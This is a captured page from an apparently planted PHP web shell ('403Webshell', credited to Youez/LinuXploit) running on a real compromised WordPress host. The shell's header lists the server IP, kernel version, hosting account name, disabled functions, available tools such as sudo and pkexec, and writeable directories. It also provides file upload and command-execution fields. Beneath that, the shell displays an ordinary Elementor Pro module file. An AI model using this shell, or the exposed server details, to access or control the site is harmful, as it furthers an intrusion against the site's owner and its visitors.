403Webshell
Server IP : 192.64.112.168  /  Your IP : 18.223.159.143
Web Server : Apache
System : Linux nc-ph-2300-85.bluforrest.com 4.18.0-513.9.1.el8_9.x86_64 #1 SMP Sat Dec 2 05:23:44 EST 2023 x86_64
User : expressoneac ( 1128)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/element-manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/expressoneac/www/wp-content/plugins/elementor-pro/modules/element-manager/module.php
<?php
namespace ElementorPro\Modules\ElementManager;

use Elementor\Utils;
use ElementorPro\Base\Module_Base;
use ElementorPro\License\API;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Module extends Module_Base {

	const LICENSE_FEATURE_NAME = 'element-manager-permissions';

	public function get_name() {
		return 'element-manager';
	}

	public function __construct() {
		parent::__construct();

		// TODO: Should we move this to the `is_active` method?
		if ( ! API::is_licence_has_feature( static::LICENSE_FEATURE_NAME ) ) {
			return;
		}

		add_filter( 'elementor/document/config', function( $additional_config, $main_id ) {
			$elements_restricted_roles = Options::get_role_restrictions();
			$user = wp_get_current_user();

			foreach ( $elements_restricted_roles as $element_name => $restricted_roles ) {
				$compare_roles = array_intersect( $user->roles, $restricted_roles );

				if ( ! empty( $compare_roles ) ) {
					$additional_config['widgets'][ $element_name ]['show_in_panel'] = false;
				}
			}

			return $additional_config;
		}, 100, 2 );

		add_action( 'elementor/element_manager/save_disabled_elements', function() {
			$role_restrictions = Utils::get_super_global_value( $_POST, 'elements_restriction' ); // phpcs:ignore WordPress.Security.NonceVerification.Missing

			if ( empty( $role_restrictions ) ) {
				return;
			}

			$role_restrictions = json_decode( $role_restrictions, true );

			if ( is_array( $role_restrictions ) ) {
				Options::update_role_restrictions( $role_restrictions );
			}
		} );

		add_filter( 'elementor/element_manager/admin_app_data/additional_data', function( $additional_data ) {
			$additional_data['roles'] = $this->get_roles();
			$additional_data['role_restrictions'] = Options::get_role_restrictions();

			return $additional_data;
		} );
	}

	private function get_roles() : array {
		$roles = [];

		foreach ( get_editable_roles() as $role => $details ) {
			if ( 'administrator' === $role ) {
				continue;
			}

			$name = translate_user_role( $details['name'] );

			$roles[] = [
				'id' => $role,
				'name' => $name,
			];
		}

		return $roles;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit